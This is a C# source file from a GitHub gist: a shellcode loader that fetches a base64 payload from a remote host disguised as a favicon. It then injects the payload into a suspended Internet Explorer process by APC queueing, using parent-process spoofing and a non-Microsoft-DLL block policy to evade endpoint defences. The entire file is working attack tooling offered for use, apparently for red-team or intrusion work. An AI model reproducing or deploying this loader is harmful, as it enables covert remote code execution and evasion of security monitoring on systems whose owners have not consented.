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@rvrsh3ll
Last active July 21, 2023 13:07
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using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Net;
using System.IO.Compression;
public class Payload
{
public Payload() {
var dhu = GetShellcode("http://10.232.80.90/_favicon.ico");
Run(dhu);
}
public static void Run(byte[] dhu)
{
Console.WriteLine("here");
// Target process to inject into
string processpath = @"c:\\program files\Internet Explorer\iexplore.exe";
STARTUPINFOEX si = new STARTUPINFOEX();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
si.StartupInfo.cb = (uint)Marshal.SizeOf(si);
var lpValue = Marshal.AllocHGlobal(IntPtr.Size);
var processSecurity = new SECURITY_ATTRIBUTES();
var threadSecurity = new SECURITY_ATTRIBUTES();
processSecurity.nLength = Marshal.SizeOf(processSecurity);
threadSecurity.nLength = Marshal.SizeOf(threadSecurity);
var lpSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, ref lpSize);
// x64
//Marshal.WriteIntPtr(lpValue, new IntPtr((long)BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE));
// x86
Marshal.WriteIntPtr(lpValue, new IntPtr(unchecked((uint)BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE)));
//Marshal.WriteIntPtr(lpValue, IntPtr.Zero);
UpdateProcThreadAttribute(
si.lpAttributeList,
0,
(IntPtr)ProcThreadAttribute.MITIGATION_POLICY,
lpValue,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero
);
var parentHandle = Process.GetProcessesByName("explorer")[0].Handle;
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValue, parentHandle);
UpdateProcThreadAttribute(
si.lpAttributeList,
0,
(IntPtr)ProcThreadAttribute.PARENT_PROCESS,
lpValue,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero
);
// Create new process in suspended state to inject into
bool success = CreateProcess(processpath, null,
ref processSecurity, ref threadSecurity,
false,
ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT | ProcessCreationFlags.CREATE_SUSPENDED,
IntPtr.Zero, null, ref si, out pi);
// Allocate memory within process and write dhu
IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, dhu.Length, MEM_COMMIT, PAGE_READWRITE);
IntPtr bytesWritten = IntPtr.Zero;
bool resultBool = WriteProcessMemory(pi.hProcess, resultPtr, dhu, dhu.Length, out bytesWritten);
// Open thread
IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
uint oldProtect = 0;
// Modify memory permissions on allocated dhu
resultBool = VirtualProtectEx(pi.hProcess, resultPtr, dhu.Length, PAGE_EXECUTE_READ, out oldProtect);
// Assign address of dhu to the target thread apc queue
IntPtr ptr = QueueUserAPC(resultPtr, sht, IntPtr.Zero);
IntPtr ThreadHandle = pi.hThread;
ResumeThread(ThreadHandle);
}
public static byte[] GetShellcode(string url)
{
WebClient client = new WebClient();
client.Proxy = WebRequest.GetSystemWebProxy();
client.Proxy.Credentials = CredentialCache.DefaultCredentials;
string compressedEncodedShellcode = client.DownloadString(url);
return Convert.FromBase64String(compressedEncodedShellcode);
}
private static UInt32 MEM_COMMIT = 0x1000;
//private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-)
private static UInt32 PAGE_READWRITE = 0x04;
private static UInt32 PAGE_EXECUTE_READ = 0x20;
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
[Flags]
public enum ProcessCreationFlags : uint
{
ZERO_FLAG = 0x00000000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00001000,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[Flags]
public enum ThreadAccess : int
{
TERMINATE = (0x0001),
SUSPEND_RESUME = (0x0002),
GET_CONTEXT = (0x0008),
SET_CONTEXT = (0x0010),
SET_INFORMATION = (0x0020),
QUERY_INFORMATION = (0x0040),
SET_THREAD_TOKEN = (0x0080),
IMPERSONATE = (0x0100),
DIRECT_IMPERSONATION = (0x0200)
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
int dwThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
Int32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
ProcessAccessFlags processAccess,
bool bInheritHandle,
int processId
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll")]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern uint SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
int dwSize, uint flNewProtect, out uint lpflOldProtect);
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[Flags]
public enum ProcThreadAttribute : int
{
MITIGATION_POLICY = 0x20007,
PARENT_PROCESS = 0x00020000
}
[Flags]
public enum BinarySignaturePolicy : ulong
{
BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000,
BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE = 0x300000000000
}
}
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